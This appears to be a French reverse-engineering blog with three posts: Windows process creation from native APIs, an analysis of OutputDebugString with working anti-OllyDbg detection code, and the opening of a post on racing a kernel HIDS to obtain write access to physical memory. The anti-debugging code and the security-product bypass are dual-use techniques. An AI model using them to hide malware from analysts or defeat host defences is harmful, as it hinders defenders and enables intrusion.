if(!NT_SUCCESS(Status))
{
	printf("Error with ZwCreateThread : 0x%x\n", Status);
	goto end;
}

Remarquez que le thread est crée en suspended. On doit faire encore une petite opération avec de la lancer.

Entre temps nous somme censés initialiser le champ ProcessParameters du PEB du futur process à l’aide de la structure RTL_USER_PROCESS_PARAMETERS et de l’API RtlCreateProcessParameters :

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;

    ULONG Flags;
    ULONG DebugFlags;

    HANDLE ConsoleHandle;
    ULONG  ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;

    CURDIR CurrentDirectory;        // ProcessParameters
    UNICODE_STRING DllPath;         // ProcessParameters
    UNICODE_STRING ImagePathName;   // ProcessParameters
    UNICODE_STRING CommandLine;     // ProcessParameters
    PVOID Environment;              // NtAllocateVirtualMemory

    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;

    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;     // ProcessParameters
    UNICODE_STRING DesktopInfo;     // ProcessParameters
    UNICODE_STRING ShellInfo;       // ProcessParameters
    UNICODE_STRING RuntimeData;     // ProcessParameters
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

extern "C"
NTSYSAPI
NTSTATUS
NTAPI
RtlCreateProcessParameters(
    PRTL_USER_PROCESS_PARAMETERS *ProcessParameters,
    PUNICODE_STRING ImagePathName,
    PUNICODE_STRING DllPath,
    PUNICODE_STRING CurrentDirectory,
    PUNICODE_STRING CommandLine,
    PVOID Environment,
    PUNICODE_STRING WindowTitle,
    PUNICODE_STRING DesktopInfo,
    PUNICODE_STRING ShellInfo,
    PUNICODE_STRING RuntimeData
    );

On retrouve un peu la même structure que celle de PROCESS_INFORMATION qu’on fournit en entrée à CreateProcess. Pour init le PEB on utilise le code suivant :

VOID CreateProcessParameters(HANDLE hProcess, PPEB Peb, PUNICODE_STRING ImageFile)
{
	ULONG n;
	PVOID p;
	NTSTATUS Status;
	PRTL_USER_PROCESS_PARAMETERS pp;

	Status=RtlCreateProcessParameters(&pp, ImageFile, 0, 0, 0, 0, 0, 0, 0, 0);
	if(!NT_SUCCESS(Status))
	{
		printf("Error with RtlCreateProcessParameters : 0x%x\n", Status);
		return;
	} 

	pp->Environment=CopyEnvironment(hProcess);

	n=pp->MaximumLength;
	p=0;

	//alloue l'espace pour la structure RTL_USER_PROCESS_PARAMETERS
	Status=ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE);
	if(!NT_SUCCESS(Status))
	{
		printf("Error with ZwAllocateVirtualMemory : 0x%x\n", Status);
		return;
	}

	//copie la structure dans l'espace memoire du process
	Status=ZwWriteVirtualMemory(hProcess, p, pp, pp->MaximumLength, 0);
	if(!NT_SUCCESS(Status))
	{
		printf("Error with ZwWriteVirtualMemory : 0x%x\n", Status);
		return;
	}

	//met a jour le champ du PEB
	Status=ZwWriteVirtualMemory(hProcess, (PCHAR)Peb + 0x10, &p, sizeof(p), 0);
	if(!NT_SUCCESS(Status))
	{
		printf("Error with ZwWriteVirtualMemory : 0x%x\n", Status);
		return;
	}

	Status=RtlDestroyProcessParameters(pp);
}

Enfin il reste la partie la plus mystérieuse, informé le subsystem à travers le LPC \Windows\ApiPort du process csrss.exe. Je vous avouerais que c’est la partie la moins documentée, qui, de ce fait, pose le plus de problème. D’après ce que j’ai pu récupérer, on aurait un code dans ce style là :

typedef struct _CSR_CAPTURE_HEADER {
    ULONG Length;
    PCSR_CAPTURE_HEADER RelatedCaptureBuffer;
    ULONG CountMessagePointers;
    PCHAR FreeSpace;
    ULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers
} CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER;

typedef ULONG CSR_API_NUMBER;

typedef struct _PBASE_CREATEPROCESS_MSG {
	HANDLE hProcess;
	HANDLE hThread;
	DWORD dwProcessId;
	DWORD dwThreadId;
	DWORD CreationFlags;
	CLIENT_ID DebuggerClientId;
	DWORD VdmBinaryType;
}BASE_CREATEPROCESS_MSG ,*PBASE_CREATEPROCESS_MSG;

typedef struct _BASE_API_MSG {
    PORT_MESSAGE h;
    PCSR_CAPTURE_HEADER CaptureBuffer;
    CSR_API_NUMBER ApiNumber;
    ULONG ReturnValue;
    ULONG Reserved;
    union {
        BASE_CREATEPROCESS_MSG CreateProcess;
    } u;
} BASE_API_MSG, *PBASE_API_MSG;

VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
{
	NTSTATUS Status;
	BASE_API_MSG m;
    PBASE_CREATEPROCESS_MSG a=(PBASE_CREATEPROCESS_MSG)&m.u.CreateProcess;

	RtlZeroMemory(&m, sizeof(m));

	a->hProcess=hProcess;
	a->hThread=hThread;
	a->dwProcessId=pid;
	a->dwThreadId=tid;

	Status=CsrClientCallServer((PVOID)&m, 0, 0x10000, sizeof(*a));
	if(!NT_SUCCESS(Status))
	{
		printf("Error with CsrClientCallServer : 0x%x\n", Status);
		return;
	}
}

Hop quand ca c’est fait, il n’y a plus qu’a lancé le thread avec ResumeThread et c’est partit. Normalement …

Le code que je fournis ne marche pas à chaque fois, j’ai un peu de mal à déterminer d’ou provient le bug et je serais content si quelqu’un pouvais me donner une piste voir même la solution.

En fait, au départ, si j’ai commencé ce code, c’était dans l’optique de crée un process à partir de rien sur le disque. Je voulais uniquement crée la section depuis la mémoire d’un process « lanceur » qui aurait servit de base pour ZwCreateProcess, apparemment dès qu’on utilise l’attribut SEC_IMAGE avec ZwCreateSection, il faut obligatoirement un handle sur un fichier exécutable. De ce fait, je n’ai pas réussit à implémenter ma petite idée, tant pis :-(

Vous trouverez le code+binaire ici :
http://ivanlef0u.fr/repo/CreateProcess.rar

Sinon, pour jouer, quelques liens sur le petit monstre du moment, je veux bien sur parler du rooktit infectant le MBR Pour ceux qui s’ennuient vous pouvez même récupérer le binaire chez OffensiveComputing.
http://www2.gmer.net/mbr/
http://www.symantec.com/enterprise/security_response/weblog/2008/01/from_bootroot_to_trojanmebroot.html
http://www.microsoft.com/security/portal/Entry.aspx?name=VirTool:WinNT/Sinowal.A

Refs :

Windows Intenal, Chapter 6, Flow of CreateProcess
http://book.itzero.com/read/microsoft/0507/Microsoft.Press.Microsoft.Windows.Internals.Fourth.Edition.Dec.2004.internal.Fixed.eBook-DDU_html/0735619174/ch06lev1sec2.html

Kernel-mode backdoors for Windows NT
http://www.phrack.org/issues.html?issue=62&id=6&mode=txt

What Goes On Inside Windows 2000: Solving the Mysteries of the Loader
http://msdn.microsoft.com/msdnmag/issues/02/03/Loader/

Windows 2000 Native Api Reference
Example 6.2: Creating a Win32 Process

A catalog of NTDLL kernel mode to user mode callbacks, part 6: LdrInitializeThunk
http://www.nynaeve.net/?p=205

15 comments janvier 19th, 2008

OutputDebugString

J’étais tranquillement en train de debugger avec Olly un de mes soft qui utilisait l’API OutputDegugString lorsque en écoutant du scremo Jap (c’est du bon !) lorsque que je suis tombé sur un paradoxe que seul Chuck Norris aurait pu comprendre au premier coup d’oeil. Le message de debug apparaissait bien sous Olly mais pas dans le tool DebugView qui est censé afficher les messages provenant de cette API. A partir de ce moment un WTF a germé dans mon esprit comme si je me retrouvais face un PABX datant des années 10 avant JR.

Beaucoup de gens connaissent l’API OutputDebugString comme anti-Olly-v1.10 utilisant le fait que OllyDbg plante lorsqu’il reçoit une string mal formaté. Dans mon cas j’ai affaire a un bug qui permettrait de détecter la présence de OllyDbg. Dans ce post je vais essayer de vous présenter le fonctionnement de l’API OutputDebugString puis comment concevoir un anti-olly basé dessus.

OutputDebugString n’est pas très difficile à utiliser, elle demande en paramètre juste un pointeur sur une string (AINSI ou Unicode, au choix). Je m’en sers surtout pour debug des programmes, style DLL, pour obtenir des messages d’erreurs que je peux lire avec DebugView. Bon finit de jouer, sortons IDA (5.2 is out #@!) sur kernel32 et désassemblons OutputDebugStringA.

; Exported entry 636. OutputDebugStringA
; Attributes: bp-based frame

; void __stdcall OutputDebugStringA(LPCSTR lpOutputDebugString)
public _OutputDebugStringA@4
_OutputDebugStringA@4 proc near

Arguments= dword ptr -244h
var_240= dword ptr -240h
var_23C= dword ptr -23Ch
var_238= dword ptr -238h
var_234= dword ptr -234h
var_230= dword ptr -230h
hObject= dword ptr -22Ch
var_228= dword ptr -228h
lpBaseAddress= dword ptr -224h
hEvent= dword ptr -220h
var_21C= byte ptr -21Ch
var_1C= dword ptr -1Ch
ms_exc= CPPEH_RECORD ptr -18h
arg_0= dword ptr  8

push    234h
push    offset dword_7C85A0A0
call    __SEH_prolog    ; hHandle
mov     eax, ___security_cookie
mov     [ebp+var_1C], eax
mov     ecx, [ebp+arg_0]
mov     [ebp+var_23C], ecx
and     [ebp+ms_exc.disabled], 0
mov     eax, ecx
lea     esi, [eax+1]

loc_7C859DA1:
mov     dl, [eax]
inc     eax
test    dl, dl
jnz     short loc_7C859DA

sub     eax, esi
inc     eax
mov     [ebp+Arguments], eax
mov     [ebp+var_240], ecx
lea     eax, [ebp+Arguments]
push    eax             ; lpArguments
push    2               ; nNumberOfArguments
push    0               ; dwExceptionFlags
push    40010006h       ; dwExceptionCode ; DBG_PRINTEXCEPTION_C
call    _RaiseException@16 ; RaiseException(x,x,x,x)
jmp     loc_7C85A023

loc_7C85A023:
or      [ebp+ms_exc.disabled], 0FFFFFFFFh
mov     ecx, [ebp+var_1C]
call    @__security_check_cookie@4 ; __security_check_cookie(x)
call    __SEH_epilog
retn    4
_OutputDebugStringA@4 endp

Ok, comme on peut le voir, la fonction en fait appel qu’a l’api RaiseException qui comme son joli nom l’indique va nous générer une belle exception. Le prototype de RaiseException est le suivant :

void RaiseException(
  DWORD dwExceptionCode,
  DWORD dwExceptionFlags,
  DWORD nNumberOfArguments,
  const ULONG_PTR* lpArguments
);

Dans le cas présent on a un dwExceptionCode qui vaut 0×40010006 (DBG_PRINTEXCEPTION_C). Le param lpArguments pointe sur 2 valeurs, le premier arg correspond à la taille de la string+1, le second à un pointeur dessus, par exemple :

0012FCD8   40010006  |ExceptionCode = 40010006
0012FCDC   00000000  |ExceptionFlags = EXCEPTION_CONTINUABLE
0012FCE0   00000002  |nArguments = 2
0012FCE4   0012FCF4  \pArguments = 0012FCF4

0012FCF4  06 00 00 00 70 03 40 00                           ...p @.

String en 0x400370
00400370  42 6F 75 68 0A 00 00 00                          Bouh....

Après on se retrouve dans 2 cas, soit il n’y pas de debugger attaché au programme et l’exception est géré par le SEH du thread, soit il y a un debugger, style OllyDbg , qui catch les exceptions et décide de leurs sorts. Commençons avec le cas « normal », lorsqu’un thread génère une exception le SEH (Structured Exception Handler) va voir ce qu’il peut faire pour éviter d’appeler le méchant UnhandledExceptionFilter qui vous dit que votre programme a foiré comme une daube car l’exception n’a pu être gérée.

En toute logique, après l’appel à NtRaiseException par RtlRaiseException, on se retrouve dans le dernier SEH installé dans la stack du thread et pointé par fs:[0].

kd> kv
ChildEBP RetAddr  Args to Child
0012f8a4 7c9137bf 0012f990 0012ff24 0012f9ac kernel32!_except_handler3 (FPO: [Uses EBP] [3,0,7])
0012f8c8 7c91378b 0012f990 0012ff24 0012f9ac ntdll!ExecuteHandler2+0x26
0012f978 7c91eafa 00000000 0012f9ac 0012f990 ntdll!ExecuteHandler+0x24
0012f978 7c812a5b 00000000 0012f9ac 0012f990 ntdll!KiUserExceptionDispatcher+0xe (FPO: [2,0,0]) (CONTEXT @ 0012f9ac)
0012fccc 7c859dcc 40010006 00000000 00000002 kernel32!RaiseException+0x53 (FPO: [Non-Fpo])
0012ff34 004002a2 00400270 00370031 002d0031 kernel32!OutputDebugStringA+0x54 (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ff4c 0040038c 00000001 00323778 00322978 OutputDbgStr+0x2a2
0012ffc0 7c816fd7 00370031 002d0031 7ffdf000 OutputDbgStr+0x38c
0012fff0 00000000 004002a9 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])

Remarqué que le dernier SEH a été installé par l’api OutputDebugString elle même avec le « call __SEH_prolog ». On se retrouve donc, dans le SEH, _except_handler3 de kernel32. C’est là qu’il faut savoir lire de la doc, j’ai relu le fameux « A Crash Course on the Depths of Win32 Structured Exception Handling » de Matt Pietrek pour comprendre plusieurs choses. Normalement lorsqu’on décide d’installer un SEH sur la stack on réalise l’opération suivante :

PUSH ADDR HANDLER
FS PUSH [0] ;address of next ERR structure
FS MOV [0],ESP ;give FS:[0] the ERR address just made 

_EXCEPTION_REGISTRATION struc
     prev    dd      ?
     handler dd      ?
 _EXCEPTION_REGISTRATION ends

On push sur la stack une structure EXCEPTION_REGISTRATION qui contient un pointeur sur le SEH précédant puis un pointeur sur la routine qui devra gérer l’exception. C’est le cas le plus courant.

Dans le cas ou le binaire (ici Kernel32) se retrouve compiler avec un outil comme Visual C++, la structure EXCEPTION_REGISTRATION change un peu. On tombe sur une struct plus étendue :

struct _EXCEPTION_REGISTRATION{
     struct _EXCEPTION_REGISTRATION *prev
     void (*handler)(PEXCEPTION_RECORD,
                     PEXCEPTION_REGISTRATION,
                     PCONTEXT,
                     PEXCEPTION_RECORD)
     struct scopetable_entry *scopetable
     int trylevel
     int _ebp
     PEXCEPTION_POINTERS xpointers
}

Il suffit donc de regardé le SEH placé, juste avant l’appel à RaiseException pour voir le contenu de la structure EXCEPTION_REGISTRATION

0012FF24   0012FFB0  Pointer to next SEH record
0012FF28   7C839AA8  SE handler
0012FF2C   7C85A0A0  kernel32.7C85A0A0
0012FF30   00000000

kd> ln 7C839AA8
(7c839aa8)   kernel32!_except_handler3 

kd> dd  7c85a0a0 l 3
7c85a0a0  ffffffff 7c859dd6 7c859ddf

Le champ de plus intéressant est le pointeur sur la structure SCOPETABLE.

typedef struct _SCOPETABLE
{
 DWORD       previousTryLevel;
 DWORD       lpfnFilter
 DWORD       lpfnHandler
} SCOPETABLE, *PSCOPETABLE;

Dans mon cas, j’ai commme lpfnFilter la fonction suivante :

lpfnFilter :
7C859DD6  XOR EAX,EAX
7C859DD8  INC EAX
7C859DD9  RET

lpfnFilter est juste une simple fonction qui renvoie true. Le lpfnHandler est quand à lui beaucoup plus intéressant. En fait la fonction except_handler3 va appeler lpfnFilter et regarder son résultat. Si jamais celui-ci vaut 1 (« #define EXCEPTION_EXECUTE_HANDLER 1″ dans except.h) alors elle execute le handler pointé par lpfnHandler de la structure SCOPETABLE.

Et qu’est qu’on trouve dans le jolie lpfnHandler ? Un beau disass !

lpfnHandler :
7C859DDF  MOV ESP,DWORD PTR SS:[EBP-18]
7C859DE2  XOR EDI,EDI
7C859DE4  MOV DWORD PTR SS:[EBP-234],EDI
7C859DEA  MOV DWORD PTR SS:[EBP-224],EDI
7C859DF0  MOV DWORD PTR SS:[EBP-22C],EDI
7C859DF6  MOV DWORD PTR SS:[EBP-220],EDI
7C859DFC  MOV EAX,DWORD PTR DS:[7C884040]
7C859E01  CMP EAX,EDI
7C859E03  JNZ SHORT kernel32.7C859E27
7C859E05  CMP BYTE PTR DS:[7C8863F8],0
7C859E0C  JNZ SHORT kernel32.7C859E23
7C859E0E  CALL kernel32.7C859B7C ; CreateDBWinMutex
7C859E13  MOV DWORD PTR DS:[7C884040],EAX
7C859E18  CMP EAX,EDI
7C859E1A  JNZ SHORT kernel32.7C859E27
7C859E1C  MOV BYTE PTR DS:[7C8863F8],1
7C859E23  CMP EAX,EDI
7C859E25  JE SHORT kernel32.7C859E9B
7C859E27  PUSH -1                                  ; /Timeout = INFINITE
7C859E29  PUSH EAX                                 ; |hObject
7C859E2A  CALL kernel32.WaitForSingleObject        ; \WaitForSingleObject
7C859E2F  PUSH kernel32.7C85A090                   ; /MappingName = "DBWIN_BUFFER"
7C859E34  PUSH EDI                                 ; |InheritHandle
7C859E35  PUSH 2                                   ; |Access = FILE_MAP_WRITE
7C859E37  CALL kernel32.OpenFileMappingA           ; \OpenFileMappingA
7C859E3C  MOV DWORD PTR SS:[EBP-234],EAX
7C859E42  CMP EAX,EDI
7C859E44  JE SHORT kernel32.7C859E88
7C859E46  PUSH EDI                                 ; /MapSize
7C859E47  PUSH EDI                                 ; |OffsetLow
7C859E48  PUSH EDI                                 ; |OffsetHigh
7C859E49  PUSH 6                                   ; |AccessMode = 6 ; FILE_MAP_WRITE|FILE_MAP_READ
7C859E4B  PUSH EAX                                 ; |hMapObject
7C859E4C  CALL kernel32.MapViewOfFile              ; \MapViewOfFile
7C859E51  MOV DWORD PTR SS:[EBP-224],EAX
7C859E57  CMP EAX,EDI
7C859E59  JE SHORT kernel32.7C859E88
7C859E5B  PUSH kernel32.7C85A07C                   ; /EventName = "DBWIN_BUFFER_READY"
7C859E60  PUSH EDI                                 ; |Inheritable
7C859E61  PUSH 100000                              ; |Access = 100000
7C859E66  CALL kernel32.OpenEventA                 ; \OpenEventA
7C859E6B  MOV DWORD PTR SS:[EBP-22C],EAX
7C859E71  CMP EAX,EDI
7C859E73  JE SHORT kernel32.7C859E88
7C859E75  PUSH kernel32.7C85A068                   ; /EventName = "DBWIN_DATA_READY"
7C859E7A  PUSH EDI                                 ; |Inheritable
7C859E7B  PUSH 2                                   ; |Access = 2
7C859E7D  CALL kernel32.OpenEventA                 ; \OpenEventA
7C859E82  MOV DWORD PTR SS:[EBP-220],EAX
7C859E88  CMP DWORD PTR SS:[EBP-220],EDI
7C859E8E  JNZ SHORT kernel32.7C859E9B
7C859E90  PUSH DWORD PTR DS:[7C884040]             ; /hMutex = NULL
7C859E96  CALL kernel32.ReleaseMutex               ; \ReleaseMutex
7C859E9B  MOV DWORD PTR SS:[EBP-4],1
7C859EA2  MOV EAX,DWORD PTR SS:[EBP-23C]
7C859EA8  MOV DWORD PTR SS:[EBP-228],EAX
7C859EAE  LEA ECX,DWORD PTR DS:[EAX+1]
7C859EB1  MOV DL,BYTE PTR DS:[EAX]
7C859EB3  INC EAX
7C859EB4  TEST DL,DL
7C859EB6  JNZ SHORT kernel32.7C859EB1
7C859EB8  SUB EAX,ECX
7C859EBA  MOV DWORD PTR SS:[EBP-230],EAX
7C859EC0  MOV ESI,DWORD PTR SS:[EBP-230]
7C859EC6  CMP ESI,EDI
7C859EC8  JBE kernel32.7C859F94
7C859ECE  CMP DWORD PTR SS:[EBP-220],EDI
7C859ED4  JE SHORT kernel32.7C859F39
7C859ED6  PUSH 2710                                ; /Timeout = 10000. ms
7C859EDB  PUSH DWORD PTR SS:[EBP-22C]              ; |hObject
7C859EE1  CALL kernel32.WaitForSingleObject        ; \WaitForSingleObject
7C859EE6  TEST EAX,EAX
7C859EE8  JNZ SHORT kernel32.7C859F39

7C859EEA  CALL kernel32.GetCurrentProcessId        ; [GetCurrentProcessId
7C859EEF  MOV EDX,DWORD PTR SS:[EBP-224]
7C859EF5  MOV DWORD PTR DS:[EDX],EAX ; copie le PID dans le buff
7C859EF7  MOV EAX,0FFB
7C859EFC  CMP ESI,EAX
7C859EFE  JNB SHORT kernel32.7C859F02
7C859F00  MOV EAX,ESI
7C859F02  MOV EBX,EAX
7C859F04  MOV DWORD PTR SS:[EBP-238],EBX
7C859F0A  MOV ECX,EBX
7C859F0C  MOV ESI,DWORD PTR SS:[EBP-228]
7C859F12  LEA EDI,DWORD PTR DS:[EDX+4]
7C859F15  SHR ECX,2
7C859F18  REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> ; copie la string dans la mapped section
7C859F1A  MOV ECX,EAX
7C859F1C  AND ECX,3
7C859F1F  REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>

7C859F21  MOV EAX,DWORD PTR SS:[EBP-224]
7C859F27  MOV BYTE PTR DS:[EBX+EAX+4],0
7C859F2C  PUSH DWORD PTR SS:[EBP-220]              ; /hEvent
7C859F32  CALL kernel32.SetEvent                   ; \SetEvent
7C859F37  JMP SHORT kernel32.7C859F81
7C859F39  MOV EAX,1FF
7C859F3E  CMP ESI,EAX
7C859F40  JNB SHORT kernel32.7C859F44
7C859F42  MOV EAX,ESI
7C859F44  MOV EBX,EAX
7C859F46  MOV DWORD PTR SS:[EBP-238],EBX
7C859F4C  MOV ECX,EBX
7C859F4E  MOV ESI,DWORD PTR SS:[EBP-228]
7C859F54  LEA EDI,DWORD PTR SS:[EBP-21C]
7C859F5A  SHR ECX,2
7C859F5D  REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
7C859F5F  MOV ECX,EAX
7C859F61  AND ECX,3
7C859F64  REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
7C859F66  MOV BYTE PTR SS:[EBP+EBX-21C],0
7C859F6E  LEA EAX,DWORD PTR SS:[EBP-21C]
7C859F74  PUSH EAX
7C859F75  PUSH kernel32.7C85A064                   ;  ASCII "%s"
7C859F7A  CALL 
7C859F7F  POP ECX
7C859F80  POP ECX
7C859F81  ADD DWORD PTR SS:[EBP-228],EBX
7C859F87  SUB DWORD PTR SS:[EBP-230],EBX
7C859F8D  XOR EDI,EDI
7C859F8F  JMP kernel32.7C859EC0
7C859F94  OR DWORD PTR SS:[EBP-4],FFFFFFFF
7C859F98  JMP SHORT kernel32.7C859FCC

Hooooo c’est beau. Ce disass correspond au vrai fonctionnement de OutputDebugString. La fonction commence d’abord par ouvrir un handle sur la section nommée DWIN_BUFFER avec l’API OpenFileMapping. La section étant globale on la retrouve dans l’ObjectDirectory \BaseNamedObjects. Remarquez que OutputDebugString ne crée pas la section DWIN_BUFFER, cette section doit être crée par l’utilisateur himself, ce n’est en aucun cas un binaire de Windows qui la crée (comme je le pensais au départ …). Ce qui veut dire que l’appel à OpenFileMapping peut très bien foirer mais en étant attentif on voit que la fonction va utiliser OpenEvent pour obtenir un handle sur l’event DBWIN_BUFFER_READY et attendre 10 sec dessus avec WaitForSingleObject. Si jamais durant ces 10sec l’event n’est pas signaled par un SetEvent alors l’api ne copiera pas les données dans la mapped section.

En gros, c’est au programme qui a crée la section de signalé toutes les 10 sec au moins que la section est diponible et que OutputDebugString peut y écrire dedans. Justement, après avoir écrit dans la section (si cela est possible), l’api va le signaler avec l’event DBWIN_DATA_READY pour dire aux autres process qui seraient en train de lire la section que des données sont dispo.

Je vous invite à regarder la pseudo implémentation de OutputDebugString.

Bon sachant tout cela, revenons à notre OllyDbg. Ce qui est se passe est très simple, Olly va handler l’exception 0×40010006 de son coté et affiché le param de OutputDebugString pour lui tout seul. Ce qui fait que le lpfnHandler de la SCOPETABLE ne sera pas exécuté, c’est pourquoi on ne retrouve pas notre message sous DebugView.
L’idée est donc très simple pour détecter Olly, dans notre programme on lance un thread qui va crée une section nommé DWIN_BUFFER puis on appel OutputDebugString en parallèle. On dit au thread d’attendre l’event DBWIN_DATA_READY pendant un temps assez court. Après plusieurs cas possible, soit le wait se termine et aucun message n’a été écrit, alors un debugger à empêcher OutputDebugString de fonctionner normalement. Soit l’event est signaled, dans ce cas sachant que le message est précédé du PID du process qui a écrit dans la section DWIN_BUFFER, on compare ce PID à celui de notre process et on vérif si il correspond. Si oui, alors c’est bon, il n’y pas de debugger, sinon on pose la bombe (HEQDSH0T !).

On se retrouve avec le bout de code suivant pour notre thread :

//Wait for the DBWIN_BUFFER_READY event to be signaled: this says that the memory buffer is no longer in use.
//Most of the time, this event will be signaled immediately when it's examined, but it won't wait longer
//than 10 seconds for the buffer to become ready (a timeout abandons the request).
hEventBuff=CreateEvent(NULL, false, false, "DBWIN_BUFFER_READY");
if(hEventBuff==INVALID_HANDLE_VALUE)
{
	printf("Error with CreateEvent : %d\n", GetLastError());
	return 0;
}

//Event servant a OutputDebugString pour dire qu'un message a ete inscrit dans le buffer
hEventData=CreateEvent(NULL, false, false, "DBWIN_DATA_READY");
if(hEventData==INVALID_HANDLE_VALUE)
{
	printf("Error with CreateEvent : %d\n", GetLastError());
	return 0;
}

//cree la section pourtant le nom DBWIN_BUFFER, on la retrouve dans l'ObjectDirectory \BaseNamedObjects
hMap=CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 4096, "DBWIN_BUFFER");
if(hMap==NULL)
{
	printf("Error with OpenFileMapping : %d\n", GetLastError());
	CloseHandle(hEventData);
	CloseHandle(hEventBuff);
	return 0;
}

pDbgBuff=MapViewOfFile(hMap,
            		FILE_MAP_READ,
            		0,
            		0,
           		 	512);
if(pDbgBuff==NULL)
{
	printf("Error with MapViewOfFile : %d\n", GetLastError());
	CloseHandle(hMap);
	CloseHandle(hEventData);
	CloseHandle(hEventBuff);
	return 0;
}             		 	

SetEvent(hEventBuff);

//2 sec de wait
WaitForSingleObject(hEventData, 2000);

printf("PID : %d -> %s\n", *(PDWORD)pDbgBuff, (PCHAR)pDbgBuff+4);

//dans le msg on a une struct du type
//DWORD PID;
//CHAR Msg;

//on check le PID, si il est diff de notre process alors c'est qu'il y a interception du msg par un debugger
if((*(PDWORD)pDbgBuff)!=(DWORD)GetCurrentProcessId())
	printf("FU ! OllyDbg detected, GetCurrentProcessId() : %d\n", GetCurrentProcessId()); 

SetEvent(hEventBuff);

CloseHandle(hEventData);
CloseHandle(hEventBuff);

Et voilà, un joli anti-olly tout mimi.

Juste un mot sur la suite de OutputDebugString. Celle-vi va appeler DbgPrint qui ensuite va faire les appels suivants :
DbgPrint -> vDbgPrintExWithPrefix -> DebugPrint -> DebugService -> int 2Dh (KiDebugService)
On se retrouve dans le kernel sur la fonction KdpPrint

f744e8f0 8067e398 ffffffff 00000000 0012faa8 nt!KdpPrint (FPO: [Non-Fpo])
f744e928 80506452 f744ed64 00000000 f744ed10 nt!KdpTrap+0xd9 (FPO: [Non-Fpo])
f744ecf4 804df235 f744ed10 00000000 f744ed64 nt!KiDispatchException+0x1bb (FPO: [Non-Fpo])
f744ed5c 804df947 0012fa04 7c94058f badb0d00 nt!CommonDispatchException+0x4d (FPO: [0,20,0])
f744ed5c 7c940590 0012fa04 7c94058f badb0d00 nt!KiTrap03+0xad (FPO: [0,0] TrapFrame @ f744ed64)
0012fa04 7c94056b 00000001 0012faa8 00000005 ntdll!DebugService+0x1c (FPO: [Non-Fpo])
0012fa20 7c940528 0012faa0 ffffffff 00000000 ntdll!DebugPrint+0x1c (FPO: [Non-Fpo])
0012fcc4 7c94040a 7c94040c ffffffff 00000000 ntdll!vDbgPrintExWithPrefix+0x1af (FPO: [Non-Fpo])
0012fce0 7c859f7f 7c85a064 0012fd24 00370031 ntdll!DbgPrint+0x1a (FPO: [Non-Fpo])
*** ERROR: Module load completed but symbols could not be loaded for OutputDbgStr.exe
0012ff40 0040029e 00400270 0012ffc0 00400383 kernel32!OutputDebugStringA+0x1fd (FPO: [Non-Fpo])

KdpPrint va se charger d’envoyer le message au kernel debugger (si il est présent) attaché au système.

Hop le binaire+code :
http://ivanlef0u.fr/repo/Output.rar

Sinon, c’est encore chaud, les papers de la PacSec sont là :
http://dragos.com/PacSec2007/

ref :
Understanding Win32 « OutputDebugString »
http://ocliteracy.com/techtips/outputdebugstring.html

NT Debug message support
http://alter.org.ua/en/docs/nt_kernel/kdprint/

A DBWin32 Debugger for Windows
http://www.ddj.com/cpp/184403245

11 comments décembre 3rd, 2007

Stealing with preemption

Monstrueuse soirée hier, je suis allé au concert de Eths ! Première partie de Babylon Pression, totalement inconnu pour moi, ils m’ont complètement éclaté quand ils sont descendus jouer dans la « fosse » avec le pogo autour d’eux … IMPRESSIVE ! Dès que j’ai l’occasion de les revoir j’y vais. La suite Eths, de la bombe sur scène, un son qui annihile les oreilles tellement les enceintes weak saturaient, surtout le passage noisecore ou Candice à crié pendant 2 mins non stop, ca fait de la peur :] Pour vous faire une idée, ca ressemblait en gros à ce live . Ma preferée du live ? V.I.T.R.I.O.L extraite de leur dernier album, c’est booonnnnn !
Le prochain concert, ca sera black métal avec Mayhem. Cette fois ci je n’irais pas jouer aussi près du pogo ;)
Sinon nouvelle découverte nu-metal pour moi, Flyleaf et en plus la chix est cute ! (emo time, So I Thought). Si vous cherchez du bon son y’en a sur le blog de mon pote.

Depuis que j’ai 15 RSS sur des blogs metal qui proposent des albums en DDL tous les jours j’ai du mal à résister (rofl@Olivennes, ou je vais dl mes pr0nz now …)

Revenons-en à notre joli OS. Aujourd’hui nous allons voir que la préemption est un superbe mécanisme mais que dans certaine situation elle peut poser des problèmes de sécu si on ne protège pas certaines parties de code.

Je me place dans l’hypothèse ou le système possède un HIDS controlant l’ouverture de handles sur tous types d’objets. Typiquement un AV ou FW hookant dans le kernel la SSDT des apis commes NtCreateFile, NtOpenFile, NtOpenSection, etc …

L’HIDS dans ses hooks vas appeler les fonctions originales puis contrôler leurs retours. Dans le cas ou le retour de la fonction ne lui plait pas il va appliquer ses règles sur le handle ouvert. Pour mieux comprendre, je vais prendre un exemple concret. L’histoire se déroule sur un système avec un HDIS pas très malin. Ce dernier hook le syscall NtOpenSection pour contrôler l’accès au \Device\PhsysicalMemory, jusque là tout va bien. Problème, ce con de HDIS ne fonctionne pas vraiment dans le bon ordre, en effet il appelle la vrai NtOpenSection puis check le résultat. Dans le cas ou l’ouverture est valide et que l’object section concerné était \Device\PhsysicalMemory il ferme le premier handle et le rouvre en enlevant le GENERIC_WRITE de l’ACCESS_MASK … pas très très fort le HIDS.

